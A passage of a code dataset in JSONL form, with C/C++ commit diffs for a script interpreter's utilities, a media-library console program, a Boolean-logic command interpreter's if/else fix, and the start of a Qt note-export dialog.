TOKEN_SWITCH(DIVIDE_ASSIGN)\r\n\t\tTOKEN_SWITCH(MULTIPLY_ASSIGN)\r\n\t\tTOKEN_SWITCH(DIVIDE_MOD_ASSIGN)\r\n\t\tTOKEN_SWITCH(FOR)\r\n\t\tTOKEN_SWITCH(INC)\r\n    }\r\n#undef TOKEN_SWITCH\r\n\treturn fkitoa(token);\r\n}\r\n\r\nvoid * safe_fkmalloc(fake * fk, size_t size)\r\n{\r\n    if (fk && size)\r\n    {\r\n        return fk->cfg.fkm(size);\r\n    }\r\n    return 0;\r\n}\r\n\r\nvoid safe_fkfree(fake * fk, const void * p)\r\n{\r\n    if (fk && p)\r\n    {\r\n        fk->cfg.fkf((void *)p);\r\n    }\r\n}\r\n\r\nvoid seterror(fake * fk, efkerror err, const char *fmt, ...)\r\n{\r\n    fk->errorno = err;\r\n\tva_list ap;\r\n\tva_start(ap, fmt);\r\n    vsnprintf(fk->errorstr, sizeof(fk->errorstr) - 1, fmt, ap);\r\n\tva_end(ap);\r\n\tfk->errorstr[sizeof(fk->errorstr) - 1] = 0;\r\n}\r\n\r\nString vartostring(const variant * v)\r\n{\r\n    String s;\r\n    V_TOSTRING(v, s);\r\n    return s;\r\n}\r\n\r\nparamstack * getps(fake * fk)\r\n{\r\n    return &fk->ps;\r\n}\r\n\r\nchar * stringdump(fake * fk, const char * src, size_t sz)\r\n{\r\n\tchar * s = (char*)safe_fkmalloc(fk, sz + 1);\r\n\tmemcpy(s, src, sz);\r\n\ts[sz] = 0;\r\n\treturn s;\r\n}\r\n\r\nuint32_t fkgetmstick()\r\n{\r\n#ifdef WIN32\r\n\treturn ::GetTickCount();\r\n#else\r\n\tstruct timeval tv;\r\n\tif(::gettimeofday(&tv, 0) == 0)\r\n\t{\r\n\t\tuint64_t t = tv.tv_sec * 1000;\r\n\t\tt += tv.tv_usec \/ 1000;\r\n\t\treturn t & 0xffffffff;\r\n\t}\r\n\treturn 0;\r\n#endif\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <stdlib.h>\n\n#include \"media\/types.h\"\n\nusing namespace std;\n\nconst int arraySize = 50;\n\nvoid addMedia(Medium* medium, Medium* media[], int arraySize) {\n  int i;\n  for (i = 0; i < arraySize; i++) {\n    if (media[i] == NULL) {\n      media[i] = medium;\n      break;\n    }\n  }\n  if (i == arraySize) {\n    cerr << \"Error: Exeeded array size of \" << arraySize << \" elements!\" << endl;\n  }\n}\n\nint main()\n{\n  char command = 'q';\n  Medium* media[arraySize];\n  int signature = 0;\n  \/\/ Initialize array with NULL values\n  int i;\n  for (i = 0; i < arraySize; i++) {\n    media[i] = NULL;\n  }\n\n  while (true) {\n    cout << \"What do you want to do?\" << endl\n            << \"m: new medium\" << endl\n            << \"b: new book\" << endl\n            << \"v: new video\" << endl\n            << \"l: list media\" << endl\n            << \"e SIGNATURE: borrow media\" << endl\n            << \"r SIGNATURE: return media\" << endl\n            << \"q: quit\" << endl\n            << endl\n            << \"Command: \";\n    cin >> command;\n    cout << endl;\n    \n    switch (command) {\n      case 'm':\n        addMedia(new Medium(), media, arraySize);\n        break;\n      case 'b':\n        addMedia(new Book(), media, arraySize);\n        break;\n      case 'v':\n        addMedia(new Video(), media, arraySize);\n        break;\n      case 'l':\n        cout << \"Media Library\" << endl;\n        int i;\n        for (i = 0; i < arraySize; i++) {\n          if (media[i] == NULL) {\n            break;\n          }\n          media[i]->print();\n        }\n        break;\n      case 'e':\n        cin >> signature;\n        for (i = 0; (i < arraySize) && (media[i] != NULL); i++) {\n          if (media[i]->getSignature() == signature) {\n            media[i]->lendOut();\n          }\n        }\n        break;\n      case 'r':\n        cin >> signature;\n        for (i = 0; (i < arraySize) && (media[i] != NULL); i++) {\n          if (media[i]->getSignature() == signature) {\n            media[i]->handIn();\n          }\n        }\n        break;\n      case 'q':\n        exit(EXIT_SUCCESS);\n    }\n    cout << endl;\n  }\n\n  \/\/ Garbage collection\n  for (i = 0; (i < arraySize) && (media[i] != NULL); i++) {\n    delete media[i];\n  }\n}\n<commit_msg>Shortened to long line.<commit_after>#include <iostream>\n#include <stdlib.h>\n\n#include \"media\/types.h\"\n\nusing namespace std;\n\nconst int arraySize = 50;\n\nvoid addMedia(Medium* medium, Medium* media[], int arraySize) {\n  int i;\n  for (i = 0; i < arraySize; i++) {\n    if (media[i] == NULL) {\n      media[i] = medium;\n      break;\n    }\n  }\n  if (i == arraySize) {\n    cerr << \"Error: Exeeded array size of \" << arraySize\n         << \" elements!\" << endl;\n  }\n}\n\nint main()\n{\n  char command = 'q';\n  Medium* media[arraySize];\n  int signature = 0;\n  \/\/ Initialize array with NULL values\n  int i;\n  for (i = 0; i < arraySize; i++) {\n    media[i] = NULL;\n  }\n\n  while (true) {\n    cout << \"What do you want to do?\" << endl\n            << \"m: new medium\" << endl\n            << \"b: new book\" << endl\n            << \"v: new video\" << endl\n            << \"l: list media\" << endl\n            << \"e SIGNATURE: borrow media\" << endl\n            << \"r SIGNATURE: return media\" << endl\n            << \"q: quit\" << endl\n            << endl\n            << \"Command: \";\n    cin >> command;\n    cout << endl;\n    \n    switch (command) {\n      case 'm':\n        addMedia(new Medium(), media, arraySize);\n        break;\n      case 'b':\n        addMedia(new Book(), media, arraySize);\n        break;\n      case 'v':\n        addMedia(new Video(), media, arraySize);\n        break;\n      case 'l':\n        cout << \"Media Library\" << endl;\n        int i;\n        for (i = 0; i < arraySize; i++) {\n          if (media[i] == NULL) {\n            break;\n          }\n          media[i]->print();\n        }\n        break;\n      case 'e':\n        cin >> signature;\n        for (i = 0; (i < arraySize) && (media[i] != NULL); i++) {\n          if (media[i]->getSignature() == signature) {\n            media[i]->lendOut();\n          }\n        }\n        break;\n      case 'r':\n        cin >> signature;\n        for (i = 0; (i < arraySize) && (media[i] != NULL); i++) {\n          if (media[i]->getSignature() == signature) {\n            media[i]->handIn();\n          }\n        }\n        break;\n      case 'q':\n        exit(EXIT_SUCCESS);\n    }\n    cout << endl;\n  }\n\n  \/\/ Garbage collection\n  for (i = 0; (i < arraySize) && (media[i] != NULL); i++) {\n    delete media[i];\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n Copyright 2016 Udey Rishi\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include <lang\/Command.hpp>\n#include <regex>\n#include <core\/BooleanFunctionParser.hpp>\n#include <lang\/Exceptions.hpp>\n#include <core\/Utils.hpp>\n#include <algorithm>\n#include <sstream>\n#include <utility>\n\nusing namespace std;\n\nnamespace Logic {\nstatic const regex CREATE_ARGS_REGEX(\"\\\\s*(\" + VARIABLE_REGEX + \")\\\\s*[=]\\\\s*(.+)\\\\s*\");\nstatic const string ELSE_ALLOWED = \"else_allowed\";\nstatic const string RUN_ELSE = \"run_else\";\n\nBooleanFunction parse(const string &expression, const Runtime &runtime) {\n    return BooleanFunctionParser().parse(expression, [&](const string &functionName) -> const BooleanFunction& {\n        return runtime.get(functionName);\n    });\n}\n\nbool Command::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    UNUSED(args);\n    UNUSED(out);\n    UNUSED(interpreter);\n    runtime.clearFlags();\n    return true;\n}\n\nbool QuitCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n    UNUSED(runtime);\n    UNUSED(interpreter);\n\n    if (args.length() != 0) {\n        throw BadCommandArgumentsException(\"Unknown args to command 'quit': \" + args);\n    }\n    return false;\n}\n\nbool CreateBooleanFunctionCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n    UNUSED(interpreter);\n\n    smatch sm;\n    if (regex_match(args, sm, CREATE_ARGS_REGEX, regex_constants::match_continuous)) {\n        string variableName = sm[1];\n        string expression = sm[2];\n        runtime.save(variableName, parse(expression, runtime));\n        return true;\n    }\n\n    throw BadCommandArgumentsException(\"Unknown args to command 'let': \" + args);\n}\n\nbool PrintBooleanFunctionCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    out << parse(expression, runtime) << endl;\n    return true;\n}\n\nbool DeleteBooleanFunctionCommand::execute(const string &functionName, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(functionName, runtime, out, interpreter);\n    UNUSED(interpreter);\n    UNUSED(out);\n\n    runtime.erase(functionName);\n    return true;\n}\n\nbool PrintMaxtermsCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    out << join(parse(expression, runtime).getTruthTable().getMaxterms(), \", \") << endl;\n    return true;\n}\n\nbool PrintMintermsCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    out << join(parse(expression, runtime).getTruthTable().getMinterms(), \", \") << endl;\n    return true;\n}\n\nbool PrintVariablesCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    vector<string> variables = parse(expression, runtime).getTruthTable().getVariables();\n    \/\/ This is how the variables are shown in the truth table -- little endian\n    reverse(variables.begin(), variables.end());\n    out << join(variables, \", \") << endl;\n    return true;\n}\n\nstatic const string BLOCK_REGEX = \"[\\\\s]*[\\\\{]{1}[\\\\s]*(.*)[\\\\s]*[\\\\}]{1}[\\\\s]*\";\n\nstatic pair<string, string> getConditionalCommandArgs(const string &args, const string &commandName) {\n    static const regex conditionRegex(\"[\\\\s]*(.+?)[\\\\s]*\" + BLOCK_REGEX);\n    smatch sm;\n\n    if (!regex_search(args, sm, conditionRegex, regex_constants::match_continuous)) {\n        throw BadCommandArgumentsException(\"Unknown args to command '\" + commandName + \"': \" + args);\n    }\n\n    return make_pair(sm[1], sm[2]);\n}\n\nbool IfCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n\n    const auto parsedArgs = getConditionalCommandArgs(args, \"if\");\n    BooleanFunction conditionFunction = parse(parsedArgs.first, runtime);\n    if (!conditionFunction.isConstant()) {\n        throw BadCommandArgumentsException(\"The condition to the 'if' command needs to evaluate to a constant value Boolean function.\");\n    }\n\n    bool _continue = true;\n    if (conditionFunction.getConstantValue()) {\n        stringstream ss;\n        ss << parsedArgs.second;\n        _continue = interpreter(ss);\n    } else {\n        runtime.flag(RUN_ELSE);\n    }\n\n    runtime.flag(ELSE_ALLOWED);\n    return _continue;\n}\n\nbool WhileCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n\n    const auto parsedArgs = getConditionalCommandArgs(args, \"while\");\n\n    while (true) {\n        BooleanFunction conditionFunction = parse(parsedArgs.first, runtime);\n        if (!conditionFunction.isConstant()) {\n            throw BadCommandArgumentsException(\"The condition to the 'while' command needs to evaluate to a constant value Boolean function.\");\n        }\n\n        if (!conditionFunction.getConstantValue()) {\n            break;\n        }\n\n        stringstream ss;\n        ss << parsedArgs.second;\n        if (!interpreter(ss)) {\n            return false;\n        }\n    }\n\n    return true;\n}\n\nbool ElseCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    if (!runtime.getFlag(ELSE_ALLOWED)) {\n        throw CommandNotAllowedException(\"'else' command cannot be used without a preceding 'if' command.\");\n    }\n\n    bool runElse = runtime.getFlag(RUN_ELSE);\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n\n    static const regex conditionRegex(\"[\\\\s]*(.*?)[\\\\s]*\" + BLOCK_REGEX);\n    smatch sm;\n\n    if (!regex_search(args, sm, conditionRegex, regex_constants::match_continuous)) {\n        throw BadCommandArgumentsException(\"Unknown args to command 'else': \" + args);\n    }\n\n    const string condition = sm[1];\n    const string code = sm[2];\n\n    if (!runElse) {\n        \/\/ A previous if condition was true, so don't execute this else\n        if (!isWhitespace(condition)) {\n            \/\/ If this was an else-if, allow more else conditions. Just don't run them (RUN_ELSE is not set)\n            runtime.flag(ELSE_ALLOWED);\n        }\n        return true;\n    }\n\n    \/\/ Hack: This is just a one off, but if there are more like these, consider coming up with a more elegant solution\n    stringstream ss;\n    if (isWhitespace(condition)) {\n        ss << code;\n    } else if (condition.compare(0, strlen(\"if\"), \"if\") == 0) {\n        \/\/ repack\n        ss << condition << \" { \" << code << \" }\";\n    } else {\n        throw BadCommandArgumentsException(\"Expected a conditional 'if' or unconditional block after the 'else' command.\");\n    }\n\n    return interpreter(ss);\n}\n}\n<commit_msg>Bug fix: Nested failing if's were causing outer else's to be called<commit_after>\/**\n Copyright 2016 Udey Rishi\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include <lang\/Command.hpp>\n#include <regex>\n#include <core\/BooleanFunctionParser.hpp>\n#include <lang\/Exceptions.hpp>\n#include <core\/Utils.hpp>\n#include <algorithm>\n#include <sstream>\n#include <utility>\n\nusing namespace std;\n\nnamespace Logic {\nstatic const regex CREATE_ARGS_REGEX(\"\\\\s*(\" + VARIABLE_REGEX + \")\\\\s*[=]\\\\s*(.+)\\\\s*\");\nstatic const string ELSE_ALLOWED = \"else_allowed\";\nstatic const string RUN_ELSE = \"run_else\";\n\nBooleanFunction parse(const string &expression, const Runtime &runtime) {\n    return BooleanFunctionParser().parse(expression, [&](const string &functionName) -> const BooleanFunction& {\n        return runtime.get(functionName);\n    });\n}\n\nbool Command::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    UNUSED(args);\n    UNUSED(out);\n    UNUSED(interpreter);\n    runtime.clearFlags();\n    return true;\n}\n\nbool QuitCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n    UNUSED(runtime);\n    UNUSED(interpreter);\n\n    if (args.length() != 0) {\n        throw BadCommandArgumentsException(\"Unknown args to command 'quit': \" + args);\n    }\n    return false;\n}\n\nbool CreateBooleanFunctionCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n    UNUSED(interpreter);\n\n    smatch sm;\n    if (regex_match(args, sm, CREATE_ARGS_REGEX, regex_constants::match_continuous)) {\n        string variableName = sm[1];\n        string expression = sm[2];\n        runtime.save(variableName, parse(expression, runtime));\n        return true;\n    }\n\n    throw BadCommandArgumentsException(\"Unknown args to command 'let': \" + args);\n}\n\nbool PrintBooleanFunctionCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    out << parse(expression, runtime) << endl;\n    return true;\n}\n\nbool DeleteBooleanFunctionCommand::execute(const string &functionName, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(functionName, runtime, out, interpreter);\n    UNUSED(interpreter);\n    UNUSED(out);\n\n    runtime.erase(functionName);\n    return true;\n}\n\nbool PrintMaxtermsCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    out << join(parse(expression, runtime).getTruthTable().getMaxterms(), \", \") << endl;\n    return true;\n}\n\nbool PrintMintermsCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    out << join(parse(expression, runtime).getTruthTable().getMinterms(), \", \") << endl;\n    return true;\n}\n\nbool PrintVariablesCommand::execute(const string &expression, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(expression, runtime, out, interpreter);\n    UNUSED(interpreter);\n\n    vector<string> variables = parse(expression, runtime).getTruthTable().getVariables();\n    \/\/ This is how the variables are shown in the truth table -- little endian\n    reverse(variables.begin(), variables.end());\n    out << join(variables, \", \") << endl;\n    return true;\n}\n\nstatic const string BLOCK_REGEX = \"[\\\\s]*[\\\\{]{1}[\\\\s]*(.*)[\\\\s]*[\\\\}]{1}[\\\\s]*\";\n\nstatic pair<string, string> getConditionalCommandArgs(const string &args, const string &commandName) {\n    static const regex conditionRegex(\"[\\\\s]*(.+?)[\\\\s]*\" + BLOCK_REGEX);\n    smatch sm;\n\n    if (!regex_search(args, sm, conditionRegex, regex_constants::match_continuous)) {\n        throw BadCommandArgumentsException(\"Unknown args to command '\" + commandName + \"': \" + args);\n    }\n\n    return make_pair(sm[1], sm[2]);\n}\n\nbool IfCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n\n    const auto parsedArgs = getConditionalCommandArgs(args, \"if\");\n    BooleanFunction conditionFunction = parse(parsedArgs.first, runtime);\n    if (!conditionFunction.isConstant()) {\n        throw BadCommandArgumentsException(\"The condition to the 'if' command needs to evaluate to a constant value Boolean function.\");\n    }\n\n    bool _continue = true;\n    if (conditionFunction.getConstantValue()) {\n        stringstream ss;\n        ss << parsedArgs.second;\n        _continue = interpreter(ss);\n        \/\/ A nested if condition could've failed and set a flag for else. Now it's not needed\n        runtime.getFlag(RUN_ELSE);\n    } else {\n        runtime.flag(RUN_ELSE);\n    }\n\n    runtime.flag(ELSE_ALLOWED);\n    return _continue;\n}\n\nbool WhileCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n\n    const auto parsedArgs = getConditionalCommandArgs(args, \"while\");\n\n    while (true) {\n        BooleanFunction conditionFunction = parse(parsedArgs.first, runtime);\n        if (!conditionFunction.isConstant()) {\n            throw BadCommandArgumentsException(\"The condition to the 'while' command needs to evaluate to a constant value Boolean function.\");\n        }\n\n        if (!conditionFunction.getConstantValue()) {\n            break;\n        }\n\n        stringstream ss;\n        ss << parsedArgs.second;\n        if (!interpreter(ss)) {\n            return false;\n        }\n    }\n\n    return true;\n}\n\nbool ElseCommand::execute(const string &args, Runtime &runtime, ostream &out, function<bool (istream &)> interpreter) {\n    if (!runtime.getFlag(ELSE_ALLOWED)) {\n        throw CommandNotAllowedException(\"'else' command cannot be used without a preceding 'if' command.\");\n    }\n\n    bool runElse = runtime.getFlag(RUN_ELSE);\n    Command::execute(args, runtime, out, interpreter);\n    UNUSED(out);\n\n    static const regex conditionRegex(\"[\\\\s]*(.*?)[\\\\s]*\" + BLOCK_REGEX);\n    smatch sm;\n\n    if (!regex_search(args, sm, conditionRegex, regex_constants::match_continuous)) {\n        throw BadCommandArgumentsException(\"Unknown args to command 'else': \" + args);\n    }\n\n    const string condition = sm[1];\n    const string code = sm[2];\n\n    if (!runElse) {\n        \/\/ A previous if condition was true, so don't execute this else\n        if (!isWhitespace(condition)) {\n            \/\/ If this was an else-if, allow more else conditions. Just don't run them (RUN_ELSE is not set)\n            runtime.flag(ELSE_ALLOWED);\n        }\n        return true;\n    }\n\n    \/\/ Hack: This is just a one off, but if there are more like these, consider coming up with a more elegant solution\n    stringstream ss;\n    if (isWhitespace(condition)) {\n        ss << code;\n    } else if (condition.compare(0, strlen(\"if\"), \"if\") == 0) {\n        \/\/ repack\n        ss << condition << \" { \" << code << \" }\";\n    } else {\n        throw BadCommandArgumentsException(\"Expected a conditional 'if' or unconditional block after the 'else' command.\");\n    }\n\n    return interpreter(ss);\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"vexporter.h\"\n\n#include <QtWidgets>\n#include <QFileInfo>\n#include <QDir>\n#include <QWebChannel>\n#include <QDebug>\n#include <QVBoxLayout>\n#include <QShowEvent>\n\n#ifndef QT_NO_PRINTER\n#include <QPrinter>\n#include <QPageSetupDialog>\n#endif\n\n#include \"vconfigmanager.h\"\n#include \"utils\/vutils.h\"\n#include \"vfile.h\"\n#include \"vwebview.h\"\n#include \"vpreviewpage.h\"\n#include \"vconstants.h\"\n#include \"vnote.h\"\n#include \"vmarkdownconverter.h\"\n#include \"vdocument.h\"\n\nextern VConfigManager vconfig;\n\nQString VExporter::s_defaultPathDir = QDir::homePath();\n\nVExporter::VExporter(MarkdownConverterType p_mdType, QWidget *p_parent)\n    : QDialog(p_parent), m_webViewer(NULL), m_mdType(p_mdType),\n      m_file(NULL), m_type(ExportType::PDF), m_source(ExportSource::Invalid),\n      m_noteState(NoteState::NotReady), m_state(ExportState::Idle),\n      m_pageLayout(QPageLayout(QPageSize(QPageSize::A4), QPageLayout::Portrait, QMarginsF(0.0, 0.0, 0.0, 0.0))),\n      m_exported(false)\n{\n    initMarkdownTemplate();\n\n    setupUI();\n}\n\nvoid VExporter::initMarkdownTemplate()\n{\n    m_htmlTemplate = VUtils::generateHtmlTemplate(m_mdType, true);\n}\n\nvoid VExporter::setupUI()\n{\n    m_infoLabel = new QLabel();\n    m_infoLabel->setWordWrap(true);\n\n    \/\/ Target file path.\n    QLabel *pathLabel = new QLabel(tr(\"Target &path:\"));\n    m_pathEdit = new QLineEdit();\n    pathLabel->setBuddy(m_pathEdit);\n    m_browseBtn = new QPushButton(tr(\"&Browse\"));\n    connect(m_browseBtn, &QPushButton::clicked,\n            this, &VExporter::handleBrowseBtnClicked);\n\n    \/\/ Page layout.\n    QLabel *layoutLabel = new QLabel(tr(\"Page layout:\"));\n    m_layoutLabel = new QLabel();\n    m_layoutBtn = new QPushButton(tr(\"&Settings\"));\n\n#ifndef QT_NO_PRINTER\n    connect(m_layoutBtn, &QPushButton::clicked,\n            this, &VExporter::handleLayoutBtnClicked);\n#else\n    m_layoutBtn->hide();\n#endif\n\n    \/\/ Progress.\n    m_proLabel = new QLabel(this);\n    m_proBar = new QProgressBar(this);\n\n    \/\/ Ok is the default button.\n    m_btnBox = new QDialogButtonBox(QDialogButtonBox::Ok | QDialogButtonBox::Cancel);\n    m_openBtn = m_btnBox->addButton(tr(\"Open File Location\"), QDialogButtonBox::ActionRole);\n    connect(m_btnBox, &QDialogButtonBox::accepted, this, &VExporter::startExport);\n    connect(m_btnBox, &QDialogButtonBox::rejected, this, &VExporter::cancelExport);\n    connect(m_openBtn, &QPushButton::clicked, this, &VExporter::openTargetPath);\n\n    QPushButton *okBtn = m_btnBox->button(QDialogButtonBox::Ok);\n    m_pathEdit->setMinimumWidth(okBtn->sizeHint().width() * 3);\n\n    QGridLayout *mainLayout = new QGridLayout();\n    mainLayout->addWidget(m_infoLabel, 0, 0, 1, 3);\n    mainLayout->addWidget(pathLabel, 1, 0);\n    mainLayout->addWidget(m_pathEdit, 1, 1);\n    mainLayout->addWidget(m_browseBtn, 1, 2);\n    mainLayout->addWidget(layoutLabel, 2, 0);\n    mainLayout->addWidget(m_layoutLabel, 2, 1);\n    mainLayout->addWidget(m_layoutBtn, 2, 2);\n    mainLayout->addWidget(m_proLabel, 3, 1, 1, 2);\n    mainLayout->addWidget(m_proBar, 4, 1, 1, 2);\n    mainLayout->addWidget(m_btnBox, 5, 1, 1, 2);\n\n    m_proLabel->hide();\n    m_proBar->hide();\n\n    setLayout(mainLayout);\n    mainLayout->setSizeConstraint(QLayout::SetFixedSize);\n    setWindowTitle(tr(\"Export Note\"));\n\n    m_openBtn->hide();\n\n    updatePageLayoutLabel();\n}\n\nstatic QString exportTypeStr(ExportType p_type)\n{\n    if (p_type == ExportType::PDF) {\n        return \"PDF\";\n    } else {\n        return \"HTML\";\n    }\n}\n\nvoid VExporter::handleBrowseBtnClicked()\n{\n    QFileInfo fi(getFilePath());\n    QString fileType = m_type == ExportType::PDF ?\n                       tr(\"Portable Document Format (*.pdf)\") :\n                       tr(\"WebPage, Complete (*.html)\");\n    QString path = QFileDialog::getSaveFileName(this, tr(\"Export As\"),\n                                                fi.absolutePath(),\n                                                fileType);\n    if (path.isEmpty()) {\n        return;\n    }\n\n    setFilePath(path);\n    s_defaultPathDir = VUtils::basePathFromPath(path);\n\n    m_openBtn->hide();\n}\n\nvoid VExporter::handleLayoutBtnClicked()\n{\n#ifndef QT_NO_PRINTER\n    QPrinter printer;\n    printer.setPageLayout(m_pageLayout);\n\n    QPageSetupDialog dlg(&printer, this);\n    if (dlg.exec() != QDialog::Accepted) {\n        return;\n    }\n\n    m_pageLayout.setPageSize(printer.pageLayout().pageSize());\n    m_pageLayout.setOrientation(printer.pageLayout().orientation());\n\n    updatePageLayoutLabel();\n#endif\n}\n\nvoid VExporter::updatePageLayoutLabel()\n{\n    m_layoutLabel->setText(QString(\"%1, %2\").arg(m_pageLayout.pageSize().name())\n                                            .arg(m_pageLayout.orientation() == QPageLayout::Portrait ?\n                                                 tr(\"Portrait\") : tr(\"Landscape\")));\n}\n\nQString VExporter::getFilePath() const\n{\n    return QDir::cleanPath(m_pathEdit->text());\n}\n\nvoid VExporter::setFilePath(const QString &p_path)\n{\n    m_pathEdit->setText(QDir::toNativeSeparators(p_path));\n}\n\nvoid VExporter::exportNote(VFile *p_file, ExportType p_type)\n{\n    m_file = p_file;\n    m_type = p_type;\n    m_source = ExportSource::Note;\n\n    if (!m_file || m_file->getDocType() != DocType::Markdown) {\n        \/\/ Do not support non-Markdown note now.\n        m_btnBox->button(QDialogButtonBox::Ok)->setEnabled(false);\n        return;\n    }\n\n    m_infoLabel->setText(tr(\"Export note <span style=\\\"%1\\\">%2<\/span> as %3.\")\n                            .arg(vconfig.c_dataTextStyle)\n                            .arg(m_file->getName())\n                            .arg(exportTypeStr(p_type)));\n\n    setWindowTitle(tr(\"Export As %1\").arg(exportTypeStr(p_type)));\n\n    setFilePath(QDir(s_defaultPathDir).filePath(QFileInfo(p_file->retrivePath()).baseName() +\n                                                \".\" + exportTypeStr(p_type).toLower()));\n}\n\nvoid VExporter::initWebViewer(VFile *p_file)\n{\n    V_ASSERT(!m_webViewer);\n\n    m_webViewer = new VWebView(p_file, this);\n    m_webViewer->hide();\n    VPreviewPage *page = new VPreviewPage(m_webViewer);\n    m_webViewer->setPage(page);\n\n    connect(page, &VPreviewPage::loadFinished,\n            this, &VExporter::handleLoadFinished);\n\n    VDocument *document = new VDocument(p_file, m_webViewer);\n    connect(document, &VDocument::logicsFinished,\n            this, &VExporter::handleLogicsFinished);\n\n    QWebChannel *channel = new QWebChannel(m_webViewer);\n    channel->registerObject(QStringLiteral(\"content\"), document);\n    page->setWebChannel(channel);\n\n    \/\/ Need to generate HTML using Hoedown.\n    if (m_mdType == MarkdownConverterType::Hoedown) {\n        VMarkdownConverter mdConverter;\n        QString toc;\n        QString html = mdConverter.generateHtml(p_file->getContent(),\n                                                vconfig.getMarkdownExtensions(),\n                                                toc);\n        document->setHtml(html);\n    }\n\n    m_webViewer->setHtml(m_htmlTemplate, p_file->getBaseUrl());\n}\n\nvoid VExporter::clearWebViewer()\n{\n    if (m_webViewer) {\n        delete m_webViewer;\n        m_webViewer = NULL;\n    }\n}\n\nvoid VExporter::handleLogicsFinished()\n{\n    Q_ASSERT(!(m_noteState & NoteState::WebLogicsReady));\n    m_noteState = NoteState(m_noteState | NoteState::WebLogicsReady);\n}\n\nvoid VExporter::handleLoadFinished(bool p_ok)\n{\n    Q_ASSERT(!(m_noteState & NoteState::WebLoadFinished));\n    m_noteState = NoteState(m_noteState | NoteState::WebLoadFinished);\n\n    if (!p_ok) {\n        m_noteState = NoteState(m_noteState | NoteState::Failed);\n    }\n}\n\nvoid VExporter::clearNoteState()\n{\n    m_noteState = NoteState::NotReady;\n}\n\nbool VExporter::isNoteStateReady() const\n{\n    return m_noteState == NoteState::Ready;\n}\n\nbool VExporter::isNoteStateFailed() const\n{\n    return m_noteState & NoteState::Failed;\n}\n\nvoid VExporter::startExport()\n{\n    QPushButton *cancelBtn = m_btnBox->button(QDialogButtonBox::Cancel);\n\n    if (m_exported) {\n        cancelBtn->show();\n        m_exported = false;\n        accept();\n    }\n\n    int exportedNum = 0;\n    enableUserInput(false);\n    V_ASSERT(m_state == ExportState::Idle);\n    m_state = ExportState::Busy;\n\n    m_openBtn->hide();\n\n    if (m_source == ExportSource::Note) {\n        V_ASSERT(m_file);\n        bool isOpened = m_file->isOpened();\n        if (!isOpened && !m_file->open()) {\n            goto exit;\n        }\n\n        clearNoteState();\n        initWebViewer(m_file);\n\n        \/\/ Update progress info.\n        m_proLabel->setText(tr(\"Exporting %1\").arg(m_file->getName()));\n        m_proBar->setEnabled(true);\n        m_proBar->setMinimum(0);\n        m_proBar->setMaximum(100);\n        m_proBar->reset();\n        m_proLabel->show();\n        m_proBar->show();\n\n        while (!isNoteStateReady()) {\n            VUtils::sleepWait(100);\n            if (m_proBar->value() < 70) {\n                m_proBar->setValue(m_proBar->value() + 1);\n     